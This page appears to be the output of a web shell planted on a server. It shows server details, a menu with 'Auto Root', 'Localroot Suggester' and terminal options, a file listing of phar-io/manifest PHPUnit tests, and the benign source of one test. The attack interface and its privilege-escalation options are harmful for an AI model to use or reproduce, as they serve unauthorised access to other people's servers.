Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 216.73.216.44
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
phar-io /
manifest /
tests /
values /
Delete
Unzip
Name
Size
Permission
Date
Action
ApplicationNameTest.php
1.69
KB
-rw-r--r--
2018-07-08 09:00
ApplicationTest.php
1.04
KB
-rw-r--r--
2018-07-08 09:00
AuthorCollectionTest.php
1.61
KB
-rw-r--r--
2018-07-08 09:00
AuthorTest.php
1.14
KB
-rw-r--r--
2018-07-08 09:00
BundledComponentCollectionTest.php
1.7
KB
-rw-r--r--
2018-07-08 09:00
BundledComponentTest.php
1.17
KB
-rw-r--r--
2018-07-08 09:00
CopyrightInformationTest.php
1.72
KB
-rw-r--r--
2018-07-08 09:00
EmailTest.php
952
B
-rw-r--r--
2018-07-08 09:00
ExtensionTest.php
3.18
KB
-rw-r--r--
2018-07-08 09:00
LibraryTest.php
1.02
KB
-rw-r--r--
2018-07-08 09:00
LicenseTest.php
1.11
KB
-rw-r--r--
2018-07-08 09:00
ManifestTest.php
5.46
KB
-rw-r--r--
2018-07-08 09:00
PhpExtensionRequirementTest.php
762
B
-rw-r--r--
2018-07-08 09:00
PhpVersionRequirementTest.php
1.05
KB
-rw-r--r--
2018-07-08 09:00
RequirementCollectionTest.php
1.7
KB
-rw-r--r--
2018-07-08 09:00
UrlTest.php
932
B
-rw-r--r--
2018-07-08 09:00
Save
Rename
<?php /* * This file is part of PharIo\Manifest. * * (c) Arne Blankerts <arne@blankerts.de>, Sebastian Heuer <sebastian@phpeople.de>, Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; use PHPUnit\Framework\TestCase; class ApplicationNameTest extends TestCase { public function testCanBeCreatedWithValidName() { $this->assertInstanceOf( ApplicationName::class, new ApplicationName('foo/bar') ); } public function testUsingInvalidFormatForNameThrowsException() { $this->expectException(InvalidApplicationNameException::class); $this->expectExceptionCode(InvalidApplicationNameException::InvalidFormat); new ApplicationName('foo'); } public function testUsingWrongTypeForNameThrowsException() { $this->expectException(InvalidApplicationNameException::class); $this->expectExceptionCode(InvalidApplicationNameException::NotAString); new ApplicationName(123); } public function testReturnsTrueForEqualNamesWhenCompared() { $app = new ApplicationName('foo/bar'); $this->assertTrue( $app->isEqual($app) ); } public function testReturnsFalseForNonEqualNamesWhenCompared() { $app1 = new ApplicationName('foo/bar'); $app2 = new ApplicationName('foo/foo'); $this->assertFalse( $app1->isEqual($app2) ); } public function testCanBeConvertedToString() { $this->assertEquals( 'foo/bar', new ApplicationName('foo/bar') ); } }